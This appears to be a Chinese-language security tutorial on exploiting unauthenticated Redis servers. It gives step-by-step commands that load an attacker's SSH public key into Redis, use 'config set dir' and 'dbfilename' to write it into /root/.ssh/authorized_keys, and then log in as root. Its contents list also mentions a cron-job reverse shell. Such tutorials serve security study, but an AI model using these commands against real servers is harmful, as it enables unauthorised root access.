目录
2.3利用redis-cli写配置的方式将公钥写入ssh目录
3.定时任务写入反弹shell(此方法在ubuntu中因无法忽略乱码导致失败)
前言
redis是一个开源的存储系统,支持数据的持久化存储、支持key-value、list、set等数据结构存储,支持备份。
但若redis存在未授权访问,就会导致攻击者可以无需认证就能访问redis内部资源,获取敏感文件,甚至执行flushall清空数据,给root账户写入ssh公钥直接远程登录目的服务器。
影响版本:2.x、3.x、4.x、5.x
搭建redis
参考Linux下安装Redis_浅末年华的博客-CSDN博客_linux安装redis
安装redis客户端redis-cli
apt install redis-cli
未授权访问
安装好redis客户端以后,直接连接远程服务器redis-cli -h http://.....
成功登录远程redis
1.查看服务器信息 info
2.上传ssh密钥登录
2.1创建公钥私钥,将公钥写入本地文件
在攻击机上输入ssh-keygen -t rsa,会创建id_rsa私钥和id_rsa.pub公钥
(echo "\n\n";cat /root/.ssh/id_rsa_pub)>test.txt
使用\n避免和其他redis缓存数据混合
2.2 将公钥发送到对方服务器
首先将公钥发送到redis的缓存中
cat test.txt | redis-cli -h xx.xx.xx.xx -x set hello
2.3利用redis-cli写配置的方式将公钥写入ssh目录
config set dir /root/.ssh # 设置redis的备份路径为/root/.ssh/
config set dbfilename authorized_keys # 设置保存文件名为authorized_keys
save # 将数据保存在目标服务器硬盘上
2.4 利用私钥远程登录redis的22端口
ssh -i /root/.ssh/id_rsa root@xx.xx.xx.x